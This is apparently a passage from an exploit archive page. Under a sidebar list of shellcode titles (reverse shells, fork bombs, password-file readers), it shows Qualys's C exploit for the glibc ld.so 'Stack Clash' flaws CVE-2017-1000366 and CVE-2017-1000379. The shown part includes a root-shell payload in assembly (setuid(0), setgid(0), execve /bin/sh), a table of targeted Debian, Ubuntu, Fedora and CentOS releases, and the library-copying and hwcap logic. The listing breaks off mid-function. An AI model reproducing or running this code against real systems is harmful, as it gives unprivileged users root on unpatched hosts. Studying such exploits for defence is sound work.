Linux/SuperH (sh4) - execve(_/bin/sh__ 0_ 0) Shellcode (19 bytes) Linux/SuperH (sh4) - Bind TCP /bin/sh Shell (31337/TCP) Shellcode (132 bytes) Linux/SPARC - setreuid(0_0) + standard execve() Shellcode (72 bytes) Linux/x86-64 - Execute /bin/sh Shellcode (27 bytes) Linux/x86-64 - Execute /bin/sh Shellcode (24 bytes) Linux/x86-64 - Add Map (127.1.1.1 google.lk) In /etc/hosts Shellcode (110 bytes) Linux/x86-64 - Add Map (127.1.1.1 google.lk) In /etc/hosts Shellcode (96 bytes) Linux/x86-64 - execve(_/sbin/iptables__ [_/sbin/iptables__ _-F_]_ NULL) Shellcode (43 bytes) Linux/x86 - exceve /bin/sh Encoded Shellcode (44 bytes) Linux/x86 - Bind TCP /bin/sh Shell (Random TCP Port) Shellcode (44 bytes) Linux/x86 - Read /etc/passwd Shellcode (54 bytes) Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Null-Free Shellcode (67 bytes) Linux/x86 - Reverse TCP /bin/bash Shell (192.168.3.119:54321/TCP) Shellcode (110 bytes) Linux/x86-64 - execve /bin/sh Shellcode (21 bytes) Linux/x86 - execve /bin/sh Shellcode (21 bytes) Windows 10 x64 - Egghunter Shellcode (45 bytes) Linux/x86-64 - execve /bin/sh Shellcode (31 bytes) (2) Linux/x86 - Egghunter Shellcode (18 bytes) Linux/x86 - Disable ASLR Security Shellcode (80 bytes) Linux/x86-64 - Reverse TCP Shell (::1:1472/TCP) (IPv6) Null-Free Shellcode (113 bytes) Linux/x86-64 - execve /bin/sh Shellcode (31 bytes) (1) Linux/x86 - execve /bin/sh + setuid(0) + setgid(0) XOR Encoded Shellcode (66 bytes) Linux/x86-64 - execve /bin/sh Shellcode (24 bytes) Linux/x86 - Reverse UDP /bin/sh Shell (127.0.0.1:53/UDP) Shellcode (668 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (75 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.1.8:4444/TCP) Shellcode (104 bytes) Linux x86 - execve /bin/sh Shellcode (24 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.1.2:4444/TCP) Shellcode (153 bytes) Linux/x86-64 - Kill All Processes Shellcode (19 bytes) Linux/x86-64 - Fork Bomb Shellcode (11 bytes) Linux/x86 - Fork Bomb Shellcode (9 bytes) Linux/x86-64 - execve /bin/sh Shellcode (31 bytes) (1) Linux/x86 - execve /bin/sh + setuid(0) + setgid(0) XOR Encoded Shellcode (66 bytes) Linux/x86-64 - execve /bin/sh Shellcode (24 bytes) Linux/x86 - Reverse UDP /bin/sh Shell (127.0.0.1:53/UDP) Shellcode (668 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (75 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.1.8:4444/TCP) Shellcode (104 bytes) Linux x86 - execve /bin/sh Shellcode (24 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.1.2:4444/TCP) Shellcode (153 bytes) Linux/x86-64 - Kill All Processes Shellcode (19 bytes) Linux/x86-64 - Fork Bomb Shellcode (11 bytes) Linux/x86 - Fork Bomb Shellcode (9 bytes) Linux/x86-64 - mkdir() 'evil' Shellcode (30 bytes) Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (30 bytes) Windows x64 - API Hooking Shellcode (117 bytes) Linux/x86-64 - mkdir() 'evil' Shellcode (30 bytes) Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (30 bytes) Windows x64 - API Hooking Shellcode (117 bytes)
999 lines
No EOL
32 KiB
C
999 lines
No EOL
32 KiB
C
/*
|
|
* Linux_ldso_hwcap_64.c for CVE-2017-1000366, CVE-2017-1000379
|
|
* Copyright (C) 2017 Qualys, Inc.
|
|
*
|
|
* my_important_hwcaps() adapted from elf/dl-hwcaps.c,
|
|
* part of the GNU C Library:
|
|
* Copyright (C) 2012-2017 Free Software Foundation, Inc.
|
|
*
|
|
* This program is free software: you can redistribute it and/or modify
|
|
* it under the terms of the GNU General Public License as published by
|
|
* the Free Software Foundation, either version 3 of the License, or
|
|
* (at your option) any later version.
|
|
*
|
|
* This program is distributed in the hope that it will be useful,
|
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
* GNU General Public License for more details.
|
|
*
|
|
* You should have received a copy of the GNU General Public License
|
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
*/
|
|
|
|
/**
|
|
cat > la.c << "EOF"
|
|
static void __attribute__ ((constructor)) _init (void) {
|
|
__asm__ __volatile__ (
|
|
"addq $64, %rsp;"
|
|
// setuid(0);
|
|
"movq $105, %rax;"
|
|
"movq $0, %rdi;"
|
|
"syscall;"
|
|
// setgid(0);
|
|
"movq $106, %rax;"
|
|
"movq $0, %rdi;"
|
|
"syscall;"
|
|
// dup2(0, 1);
|
|
"movq $33, %rax;"
|
|
"movq $0, %rdi;"
|
|
"movq $1, %rsi;"
|
|
"syscall;"
|
|
// dup2(0, 2);
|
|
"movq $33, %rax;"
|
|
"movq $0, %rdi;"
|
|
"movq $2, %rsi;"
|
|
"syscall;"
|
|
// execve("/bin/sh");
|
|
"movq $59, %rax;"
|
|
"movq $0x0068732f6e69622f, %rdi;"
|
|
"pushq %rdi;"
|
|
"movq %rsp, %rdi;"
|
|
"movq $0, %rdx;"
|
|
"pushq %rdx;"
|
|
"pushq %rdi;"
|
|
"movq %rsp, %rsi;"
|
|
"syscall;"
|
|
// exit(0);
|
|
"movq $60, %rax;"
|
|
"movq $0, %rdi;"
|
|
"syscall;"
|
|
);
|
|
}
|
|
EOF
|
|
gcc -fpic -shared -nostdlib -Os -s -o la.so la.c
|
|
xxd -i la.so > la.so.h
|
|
**/
|
|
|
|
#define _GNU_SOURCE
|
|
#include <assert.h>
|
|
#include <elf.h>
|
|
#include <fcntl.h>
|
|
#include <limits.h>
|
|
#include <link.h>
|
|
#include <signal.h>
|
|
#include <stdarg.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <sys/param.h>
|
|
#include <sys/resource.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/time.h>
|
|
#include <sys/types.h>
|
|
#include <sys/wait.h>
|
|
#include <unistd.h>
|
|
|
|
#define PAGESZ ((size_t)4096)
|
|
#define STACK_ALIGN ((size_t)16)
|
|
#define MALLOC_ALIGN ((size_t)8)
|
|
|
|
#define MAX_ARG_STRLEN ((size_t)128<<10)
|
|
|
|
#define SUB_STACK_RAND ((size_t)8192)
|
|
#define INITIAL_STACK_EXPANSION (131072UL)
|
|
|
|
#define LDSO "/lib64/ld-linux-x86-64.so.2"
|
|
|
|
static const struct target * target;
|
|
static const struct target {
|
|
const char * name;
|
|
size_t vdso_vvar;
|
|
int jump_ldso_pie;
|
|
int CVE_2015_1593;
|
|
int offset2lib;
|
|
const char * system_dir;
|
|
const char * repl_lib;
|
|
unsigned int extra_page;
|
|
int ignore_lib;
|
|
int ignore_origin;
|
|
int disable_audit;
|
|
} targets[] = {
|
|
{
|
|
.name = "Debian 7.7 (wheezy)",
|
|
.vdso_vvar = 4096,
|
|
.jump_ldso_pie = 1,
|
|
.CVE_2015_1593 = 1,
|
|
.offset2lib = 1,
|
|
.system_dir = "/lib",
|
|
.repl_lib = "lib/x86_64-linux-gnu",
|
|
},
|
|
{
|
|
.name = "Debian 8.5 (jessie)",
|
|
.vdso_vvar = 16384,
|
|
.offset2lib = 1,
|
|
.system_dir = "/lib",
|
|
.repl_lib = "lib/x86_64-linux-gnu",
|
|
},
|
|
{
|
|
.name = "Debian 9.0 (stretch)",
|
|
.vdso_vvar = 16384,
|
|
.system_dir = "/lib",
|
|
.repl_lib = "lib/x86_64-linux-gnu",
|
|
.extra_page = 1,
|
|
},
|
|
{
|
|
.name = "Ubuntu 14.04.2 (Trusty Tahr)",
|
|
.vdso_vvar = 8192,
|
|
.jump_ldso_pie = 1,
|
|
.CVE_2015_1593 = 1,
|
|
.offset2lib = 1,
|
|
.system_dir = "/lib",
|
|
.repl_lib = "lib/x86_64-linux-gnu",
|
|
.disable_audit = 1,
|
|
},
|
|
{
|
|
.name = "Ubuntu 16.04.2 (Xenial Xerus)",
|
|
.vdso_vvar = 16384,
|
|
.system_dir = "/lib",
|
|
.repl_lib = "lib/x86_64-linux-gnu",
|
|
.disable_audit = 1,
|
|
},
|
|
{
|
|
.name = "Ubuntu 17.04 (Zesty Zapus)",
|
|
.vdso_vvar = 16384,
|
|
.system_dir = "/lib",
|
|
.repl_lib = "lib/x86_64-linux-gnu",
|
|
.extra_page = 1,
|
|
.disable_audit = 1,
|
|
},
|
|
{
|
|
.name = "Fedora 22 (Twenty Two)",
|
|
.vdso_vvar = 16384,
|
|
.offset2lib = 1,
|
|
.system_dir = "/lib64",
|
|
.repl_lib = "lib64",
|
|
},
|
|
{
|
|
.name = "Fedora 25 (Server Edition)",
|
|
.vdso_vvar = 16384,
|
|
.system_dir = "/lib64",
|
|
.repl_lib = "lib64",
|
|
.extra_page = 1,
|
|
},
|
|
{
|
|
.name = "CentOS 7.3.1611 (Core)",
|
|
.vdso_vvar = 8192,
|
|
.jump_ldso_pie = 1,
|
|
.offset2lib = 1,
|
|
.system_dir = "/lib64",
|
|
.repl_lib = "lib64",
|
|
},
|
|
};
|
|
|
|
#define die() do { \
|
|
printf("died in %s: %u\n", __func__, __LINE__); \
|
|
exit(EXIT_FAILURE); \
|
|
} while (0)
|
|
|
|
static const char *
|
|
my_asprintf(const char * const fmt, ...)
|
|
{
|
|
if (!fmt) die();
|
|
char * str = NULL;
|
|
va_list ap;
|
|
va_start(ap, fmt);
|
|
const int len = vasprintf(&str, fmt, ap);
|
|
va_end(ap);
|
|
if (!str) die();
|
|
if (len <= 0) die();
|
|
if ((unsigned int)len != strlen(str)) die();
|
|
return str;
|
|
}
|
|
|
|
static const ElfW(auxv_t) * my_auxv;
|
|
|
|
static unsigned long int
|
|
my_getauxval (const unsigned long int type)
|
|
{
|
|
const ElfW(auxv_t) * p;
|
|
|
|
if (!my_auxv) die();
|
|
for (p = my_auxv; p->a_type != AT_NULL; p++)
|
|
if (p->a_type == type)
|
|
return p->a_un.a_val;
|
|
die();
|
|
}
|
|
|
|
struct elf_info {
|
|
ElfW(Half) type;
|
|
uintptr_t rx_start, rx_end;
|
|
uintptr_t rw_start, rw_end;
|
|
};
|
|
|
|
static struct elf_info
|
|
get_elf_info(const char * const binary)
|
|
{
|
|
struct elf_info elf = { ET_NONE };
|
|
if (elf.rx_start || elf.rx_end) die();
|
|
if (elf.rw_start || elf.rw_end) die();
|
|
|
|
const int fd = open(binary, O_RDONLY);
|
|
if (fd <= -1) die();
|
|
struct stat st;
|
|
if (fstat(fd, &st)) die();
|
|
if (!S_ISREG(st.st_mode)) die();
|
|
if (st.st_size <= 0) die();
|
|
#define SAFESZ ((size_t)64<<20)
|
|
if (st.st_size >= (ssize_t)SAFESZ) die();
|
|
const size_t size = st.st_size;
|
|
uint8_t * const buf = malloc(size);
|
|
if (!buf) die();
|
|
if (read(fd, buf, size) != (ssize_t)size) die();
|
|
if (close(fd)) die();
|
|
|
|
if (size <= sizeof(ElfW(Ehdr))) die();
|
|
const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
|
|
if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
|
|
if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
|
|
if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
|
|
if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
|
|
if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) die();
|
|
if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
|
|
if (ehdr->e_type != ET_DYN && ehdr->e_type != ET_EXEC) die();
|
|
if (ehdr->e_machine != EM_X86_64) die();
|
|
if (ehdr->e_version != EV_CURRENT) die();
|
|
if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
|
|
if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
|
|
if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
|
|
if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
|
|
elf.type = ehdr->e_type;
|
|
|
|
int interp = 0;
|
|
unsigned int i;
|
|
for (i = 0; i < ehdr->e_phnum; i++) {
|
|
const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
|
|
if (phdr->p_type == PT_INTERP) interp = 1;
|
|
if (phdr->p_type != PT_LOAD) continue;
|
|
|
|
if (phdr->p_offset >= size) die();
|
|
if (phdr->p_filesz > size - phdr->p_offset) die();
|
|
if (phdr->p_filesz > phdr->p_memsz) die();
|
|
if (phdr->p_vaddr != phdr->p_paddr) die();
|
|
if (phdr->p_vaddr >= SAFESZ) die();
|
|
if (phdr->p_memsz >= SAFESZ) die();
|
|
if (phdr->p_memsz <= 0) die();
|
|
if (phdr->p_align != 0x200000) die();
|
|
|
|
switch (phdr->p_flags) {
|
|
case PF_R | PF_X:
|
|
if (elf.rx_end) die();
|
|
if (elf.rw_end) die();
|
|
if (phdr->p_vaddr && ehdr->e_type != ET_EXEC) die();
|
|
elf.rx_start = phdr->p_vaddr & ~(PAGESZ-1);
|
|
elf.rx_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
|
|
if (!elf.rx_end) die();
|
|
break;
|
|
case PF_R | PF_W:
|
|
if (!elf.rx_end) die();
|
|
if (elf.rw_end) die();
|
|
elf.rw_start = phdr->p_vaddr & ~(PAGESZ-1);
|
|
elf.rw_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
|
|
if (elf.rw_start <= elf.rx_end) die();
|
|
break;
|
|
default:
|
|
die();
|
|
}
|
|
}
|
|
if (!interp && !strstr(binary, "/ld-linux")) die();
|
|
if (!elf.rx_end) die();
|
|
if (!elf.rw_end) die();
|
|
free(buf);
|
|
return elf;
|
|
}
|
|
|
|
/* There are no hardware capabilities defined. */
|
|
#define my_hwcap_string(idx) ""
|
|
|
|
struct my_important_hwcaps {
|
|
unsigned long hwcap_mask;
|
|
size_t max_capstrlen;
|
|
size_t pointers;
|
|
size_t strings;
|
|
};
|
|
|
|
struct my_link_map {
|
|
const ElfW(Phdr) * l_phdr;
|
|
ElfW(Half) l_phnum;
|
|
ElfW(Addr) l_addr;
|
|
};
|
|
|
|
struct r_strlenpair
|
|
{
|
|
const char *str;
|
|
size_t len;
|
|
};
|
|
|
|
/* Return an array of useful/necessary hardware capability names. */
|
|
static struct my_important_hwcaps
|
|
my_important_hwcaps (const char * const platform, const size_t platform_len,
|
|
const uint64_t hwcap, const uint64_t hwcap_mask,
|
|
const struct my_link_map * sysinfo_map)
|
|
{
|
|
static const struct my_important_hwcaps err;
|
|
/* Determine how many important bits are set. */
|
|
uint64_t masked = hwcap & hwcap_mask;
|
|
size_t cnt = platform != NULL;
|
|
size_t n, m;
|
|
size_t total;
|
|
struct r_strlenpair *result;
|
|
|
|
/* Count the number of bits set in the masked value. */
|
|
for (n = 0; (~((1ULL << n) - 1) & masked) != 0; ++n)
|
|
if ((masked & (1ULL << n)) != 0)
|
|
++cnt;
|
|
|
|
/* The system-supplied DSO can contain a note of type 2, vendor "GNU".
|
|
This gives us a list of names to treat as fake hwcap bits. */
|
|
|
|
const char *dsocaps = NULL;
|
|
size_t dsocapslen = 0;
|
|
if (sysinfo_map != NULL)
|
|
{
|
|
const ElfW(Phdr) *const phdr = sysinfo_map->l_phdr;
|
|
const ElfW(Word) phnum = sysinfo_map->l_phnum;
|
|
uint_fast16_t i;
|
|
for (i = 0; i < phnum; ++i)
|
|
if (phdr[i].p_type == PT_NOTE)
|
|
{
|
|
const ElfW(Addr) start = (phdr[i].p_vaddr
|
|
+ sysinfo_map->l_addr);
|
|
/* The standard ELF note layout is exactly as the anonymous struct.
|
|
The next element is a variable length vendor name of length
|
|
VENDORLEN (with a real length rounded to ElfW(Word)), followed
|
|
by the data of length DATALEN (with a real length rounded to
|
|
ElfW(Word)). */
|
|
const struct
|
|
{
|
|
ElfW(Word) vendorlen;
|
|
ElfW(Word) datalen;
|
|
ElfW(Word) type;
|
|
} *note = (const void *) start;
|
|
while ((ElfW(Addr)) (note + 1) - start < phdr[i].p_memsz)
|
|
{
|
|
#define ROUND(len) (((len) + sizeof (ElfW(Word)) - 1) & -sizeof (ElfW(Word)))
|
|
/* The layout of the type 2, vendor "GNU" note is as follows:
|
|
.long <Number of capabilities enabled by this note>
|
|
.long <Capabilities mask> (as mask >> _DL_FIRST_EXTRA).
|
|
.byte <The bit number for the next capability>
|
|
.asciz <The name of the capability>. */
|
|
if (note->type == NT_GNU_HWCAP
|
|
&& note->vendorlen == sizeof "GNU"
|
|
&& !memcmp ((note + 1), "GNU", sizeof "GNU")
|
|
&& note->datalen > 2 * sizeof (ElfW(Word)) + 2)
|
|
{
|
|
const ElfW(Word) *p = ((const void *) (note + 1)
|
|
+ ROUND (sizeof "GNU"));
|
|
cnt += *p++;
|
|
++p; /* Skip mask word. */
|
|
dsocaps = (const char *) p; /* Pseudo-string "<b>name" */
|
|
dsocapslen = note->datalen - sizeof *p * 2;
|
|
break;
|
|
}
|
|
note = ((const void *) (note + 1)
|
|
+ ROUND (note->vendorlen) + ROUND (note->datalen));
|
|
#undef ROUND
|
|
}
|
|
if (dsocaps != NULL)
|
|
break;
|
|
}
|
|
}
|
|
|
|
/* For TLS enabled builds always add 'tls'. */
|
|
++cnt;
|
|
|
|
/* Create temporary data structure to generate result table. */
|
|
if (cnt < 2) return err;
|
|
if (cnt >= 32) return err;
|
|
struct r_strlenpair temp[cnt];
|
|
m = 0;
|
|
if (dsocaps != NULL)
|
|
{
|
|
/* dsocaps points to the .asciz string, and -1 points to the mask
|
|
.long just before the string. */
|
|
const ElfW(Word) mask = ((const ElfW(Word) *) dsocaps)[-1];
|
|
size_t len;
|
|
const char *p;
|
|
for (p = dsocaps; p < dsocaps + dsocapslen; p += len + 1)
|
|
{
|
|
uint_fast8_t bit = *p++;
|
|
len = strlen (p);
|
|
|
|
/* Skip entries that are not enabled in the mask word. */
|
|
if (mask & ((ElfW(Word)) 1 << bit))
|
|
{
|
|
temp[m].str = p;
|
|
temp[m].len = len;
|
|
++m;
|
|
}
|
|
else
|
|
--cnt;
|
|
}
|
|
}
|
|
for (n = 0; masked != 0; ++n)
|
|
if ((masked & (1ULL << n)) != 0)
|
|
{
|
|
temp[m].str = my_hwcap_string (n);
|
|
temp[m].len = strlen (temp[m].str);
|
|
masked ^= 1ULL << n;
|
|
++m;
|
|
}
|
|
if (platform != NULL)
|
|
{
|
|
temp[m].str = platform;
|
|
temp[m].len = platform_len;
|
|
++m;
|
|
}
|
|
|
|
temp[m].str = "tls";
|
|
temp[m].len = 3;
|
|
++m;
|
|
|
|
assert (m == cnt);
|
|
|
|
/* Determine the total size of all strings together. */
|
|
if (cnt == 1)
|
|
total = temp[0].len + 1;
|
|
else
|
|
{
|
|
total = temp[0].len + temp[cnt - 1].len + 2;
|
|
if (cnt > 2)
|
|
{
|
|
total <<= 1;
|
|
for (n = 1; n + 1 < cnt; ++n)
|
|
total += temp[n].len + 1;
|
|
if (cnt > 3
|
|
&& (cnt >= sizeof (size_t) * 8
|
|
|| total + (sizeof (*result) << 3)
|
|
>= (1UL << (sizeof (size_t) * 8 - cnt + 3))))
|
|
return err;
|
|
|
|
total <<= cnt - 3;
|
|
}
|
|
}
|
|
|
|
/* The result structure: we use a very compressed way to store the
|
|
various combinations of capability names. */
|
|
const size_t _sz = 1 << cnt;
|
|
|
|
/* Now we are ready to install the string pointers and length. */
|
|
size_t max_capstrlen = 0;
|
|
n = cnt;
|
|
do
|
|
{
|
|
const size_t mask = 1 << --n;
|
|
for (m = 1 << cnt; m > 0; ) {
|
|
if ((--m & mask) != 0)
|
|
max_capstrlen += temp[n].len + 1;
|
|
break;
|
|
}
|
|
}
|
|
while (n != 0);
|
|
|
|
if (hwcap_mask > ULONG_MAX) die();
|
|
const struct my_important_hwcaps ret = {
|
|
.hwcap_mask = hwcap_mask,
|
|
.max_capstrlen = max_capstrlen,
|
|
.pointers = _sz * sizeof (*result),
|
|
.strings = total,
|
|
};
|
|
return ret;
|
|
}
|
|
|
|
static size_t
|
|
my_bsearch(const void * const key,
|
|
const void * const base, const size_t nmemb, const size_t size,
|
|
int (* const compar)(const void *, const void *))
|
|
{
|
|
if (!key) die();
|
|
if (!size) die();
|
|
if (!compar) die();
|
|
if (nmemb >= SSIZE_MAX / size) die();
|
|
if (!base != !nmemb) die();
|
|
if (!base || !nmemb) return 0;
|
|
|
|
size_t low = 0;
|
|
size_t high = nmemb - 1;
|
|
while (low <= high) {
|
|
const size_t mid = low + (high - low) / 2;
|
|
if (mid >= nmemb) die();
|
|
const int cond = compar(key, base + mid * size);
|
|
switch (cond) {
|
|
case 0:
|
|
return mid;
|
|
case -1:
|
|
if (mid <= 0) {
|
|
if (mid != 0) die();
|
|
if (low != 0) die();
|
|
return low;
|
|
}
|
|
high = mid - 1;
|
|
break;
|
|
case +1:
|
|
low = mid + 1;
|
|
break;
|
|
default:
|
|
die();
|
|
}
|
|
}
|
|
if (low > nmemb) die();
|
|
return low;
|
|
}
|
|
|
|
static int
|
|
cmp_important_hwcaps(const void * const _a, const void * const _b)
|
|
{
|
|
const struct my_important_hwcaps * const a = _a;
|
|
const struct my_important_hwcaps * const b = _b;
|
|
|
|
if (a->strings < b->strings) return -1;
|
|
if (a->strings > b->strings) return +1;
|
|
|
|
if (a->pointers < b->pointers) return -1;
|
|
if (a->pointers > b->pointers) return +1;
|
|
|
|
if (a->max_capstrlen < b->max_capstrlen) return -1;
|
|
if (a->max_capstrlen > b->max_capstrlen) return +1;
|
|
|
|
return 0;
|
|
}
|
|
|
|
static void
|
|
copy_lib(const char * const src, const char * const dst)
|
|
{
|
|
if (!src) die();
|
|
if (*src != '/') die();
|
|
|
|
if (!dst) die();
|
|
if (*dst != '/') die();
|
|
|
|
const int src_fd = open(src, O_RDONLY);
|
|
if (src_fd <= -1) die();
|
|
|
|
const int dst_fd = open(dst, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
|
|
if (dst_fd <= -1) die();
|
|
|
|
for (;;) {
|
|
char buf[1024];
|
|
const ssize_t rd = read(src_fd, buf, sizeof(buf));
|
|
if (rd == 0) break;
|
|
if (rd <= 0) die();
|
|
const ssize_t wr = write(dst_fd, buf, rd);
|
|
if (wr != rd) die();
|
|
}
|
|
|
|
if (fchmod(dst_fd, 0755)) die();
|
|
if (close(dst_fd)) die();
|
|
if (close(src_fd)) die();
|
|
}
|
|
|
|
static void
|
|
create_needed_libs(const char * const bin, const char * const dir)
|
|
{
|
|
if (!bin) die();
|
|
if (*bin != '/') die();
|
|
if (strspn(bin, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+,-./_") != strlen(bin)) die();
|
|
|
|
if (!dir) die();
|
|
if (*dir != '/') die();
|
|
if (dir[strlen(dir)-1] != '/') die();
|
|
|
|
char cmd[256];
|
|
if ((unsigned int)snprintf(cmd, sizeof(cmd), "/usr/bin/env - %s --list %s", LDSO, bin)
|
|
>= sizeof(cmd)) die();
|
|
FILE * const fp = popen(cmd, "r");
|
|
if (!fp) die();
|
|
|
|
char buf[256];
|
|
unsigned int num_libs = 0;
|
|
while (fgets(buf, sizeof(buf), fp) == buf) {
|
|
if (!strchr(buf, '\n')) die();
|
|
|
|
const char * const rel_lib = buf + strspn(buf, "\t ");
|
|
if (strncmp(rel_lib, "lib", 3)) continue;
|
|
|
|
char * sp = strchr(rel_lib, ' ');
|
|
if (!sp) die();
|
|
if (strncmp(sp, " => /", 5)) die();
|
|
*sp = '\0';
|
|
if (strchr(rel_lib, '/')) die();
|
|
|
|
const char * const abs_lib = sp + 4;
|
|
if (*abs_lib != '/') die();
|
|
sp = strchr(abs_lib, ' ');
|
|
if (!sp) die();
|
|
if (strncmp(sp, " (0x", 4)) die();
|
|
*sp = '\0';
|
|
|
|
size_t i;
|
|
static const char * const prefixes[] = { "", "/", "/.", "/.." };
|
|
for (i = 0; i < sizeof(prefixes)/sizeof(*prefixes); i++) {
|
|
|
|
char tmp_lib[256];
|
|
if ((unsigned int)snprintf(tmp_lib, sizeof(tmp_lib), "%s%s%s", dir, prefixes[i], rel_lib)
|
|
>= sizeof(tmp_lib)) die();
|
|
copy_lib(abs_lib, tmp_lib);
|
|
}
|
|
if (!++num_libs) die();
|
|
}
|
|
if (!num_libs) die();
|
|
printf("copied %u lib%s\n", num_libs, num_libs > 1 ? "s" : "");
|
|
if (pclose(fp) != EXIT_SUCCESS) die();
|
|
}
|
|
|
|
int
|
|
main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
|
|
{
|
|
{
|
|
const char * const * p = my_envp;
|
|
while (*p++) ;
|
|
my_auxv = (const void *)p;
|
|
}
|
|
if (my_getauxval(AT_PAGESZ) != PAGESZ) die();
|
|
|
|
if (my_argc != 1+2) {
|
|
printf("Usage: %s target binary\n", my_argv[0]);
|
|
size_t i;
|
|
for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
|
|
printf("Target %zu %s\n", i, targets[i].name);
|
|
}
|
|
die();
|
|
}
|
|
{
|
|
const size_t i = strtoul(my_argv[1], NULL, 10);
|
|
if (i >= sizeof(targets)/sizeof(*targets)) die();
|
|
target = targets + i;
|
|
printf("Target %zu %s\n", i, target->name);
|
|
}
|
|
const size_t safe_stack_size = target->CVE_2015_1593 ? 65536 : 32768;
|
|
printf("safe_stack_size %zu\n", safe_stack_size);
|
|
if (safe_stack_size <= SUB_STACK_RAND) die();
|
|
|
|
const char * const binary = realpath(my_argv[2], NULL);
|
|
if (!binary) die();
|
|
if (*binary != '/') die();
|
|
if (access(binary, R_OK | X_OK)) die();
|
|
const struct elf_info elf_binary = get_elf_info(binary);
|
|
const struct elf_info elf_interp = get_elf_info(LDSO);
|
|
const struct elf_info elf = (elf_binary.type == ET_DYN && target->offset2lib && !target->jump_ldso_pie) ? elf_binary : elf_interp;
|
|
const size_t jump_ldso_pie = (elf_binary.type == ET_DYN && target->offset2lib && target->jump_ldso_pie) ? (elf_binary.rx_end - elf_binary.rx_start) : 0;
|
|
if (elf.rw_start - elf.rx_end <= target->vdso_vvar) die();
|
|
|
|
const char * const slash = strrchr(binary, '/');
|
|
if (!slash) die();
|
|
if (slash <= binary) die();
|
|
const char * const origin = strndup(binary, slash - binary);
|
|
if (!origin) die();
|
|
printf("origin %s (%zu)\n", origin, strlen(origin));
|
|
|
|
const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
|
|
if (!platform) die();
|
|
if (strcmp(platform, "x86_64") != 0) die();
|
|
const size_t platform_len = strlen(platform);
|
|
|
|
const struct {
|
|
const char * str;
|
|
size_t len;
|
|
size_t repl_len;
|
|
} DSTs[] = {
|
|
#define DST_LIB "LIB"
|
|
{ DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) },
|
|
#define DST_PLATFORM "PLATFORM"
|
|
{ DST_PLATFORM, strlen(DST_PLATFORM), platform_len }
|
|
};
|
|
size_t repl_max = target->ignore_origin ? 0 : strlen(origin);
|
|
{
|
|
size_t i;
|
|
for (i = target->ignore_lib ? 1 : 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) {
|
|
if (repl_max < DSTs[i].repl_len)
|
|
repl_max = DSTs[i].repl_len;
|
|
}
|
|
}
|
|
printf("repl_max %zu\n", repl_max);
|
|
if (repl_max < 4) die();
|
|
|
|
const ElfW(Ehdr) * const sysinfo_dso = (const void *)my_getauxval(AT_SYSINFO_EHDR);
|
|
if (!sysinfo_dso) die();
|
|
struct my_link_map sysinfo_map = {
|
|
.l_phdr = (const void *)sysinfo_dso + sysinfo_dso->e_phoff,
|
|
.l_phnum = sysinfo_dso->e_phnum,
|
|
.l_addr = ULONG_MAX
|
|
};
|
|
{
|
|
uint_fast16_t i;
|
|
for (i = 0; i < sysinfo_map.l_phnum; ++i) {
|
|
const ElfW(Phdr) * const ph = &sysinfo_map.l_phdr[i];
|
|
if (ph->p_type == PT_LOAD) {
|
|
if (sysinfo_map.l_addr == ULONG_MAX)
|
|
sysinfo_map.l_addr = ph->p_vaddr;
|
|
}
|
|
}
|
|
}
|
|
if (sysinfo_map.l_addr == ULONG_MAX) die();
|
|
sysinfo_map.l_addr = (ElfW(Addr))sysinfo_dso - sysinfo_map.l_addr;
|
|
|
|
const unsigned long hwcap = my_getauxval(AT_HWCAP);
|
|
if (!hwcap) die();
|
|
struct my_important_hwcaps * important_hwcaps = NULL;
|
|
size_t num_important_hwcaps = 0;
|
|
{
|
|
size_t max_important_hwcaps = 0;
|
|
uint32_t hwcap_mask = 1;
|
|
do {
|
|
if (hwcap_mask & ~hwcap) continue;
|
|
const uint64_t popcount = __builtin_popcount(hwcap_mask);
|
|
if (popcount < 1) die();
|
|
if (popcount > 32) die();
|
|
|
|
const struct my_important_hwcaps ihc = my_important_hwcaps(platform, platform_len, hwcap, hwcap_mask, &sysinfo_map);
|
|
if (!ihc.pointers) die();
|
|
|
|
const size_t idx = my_bsearch(&ihc, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps);
|
|
if (idx > num_important_hwcaps) die();
|
|
|
|
if (idx == num_important_hwcaps || cmp_important_hwcaps(&ihc, important_hwcaps + idx)) {
|
|
if (num_important_hwcaps >= max_important_hwcaps) {
|
|
if (num_important_hwcaps != max_important_hwcaps) die();
|
|
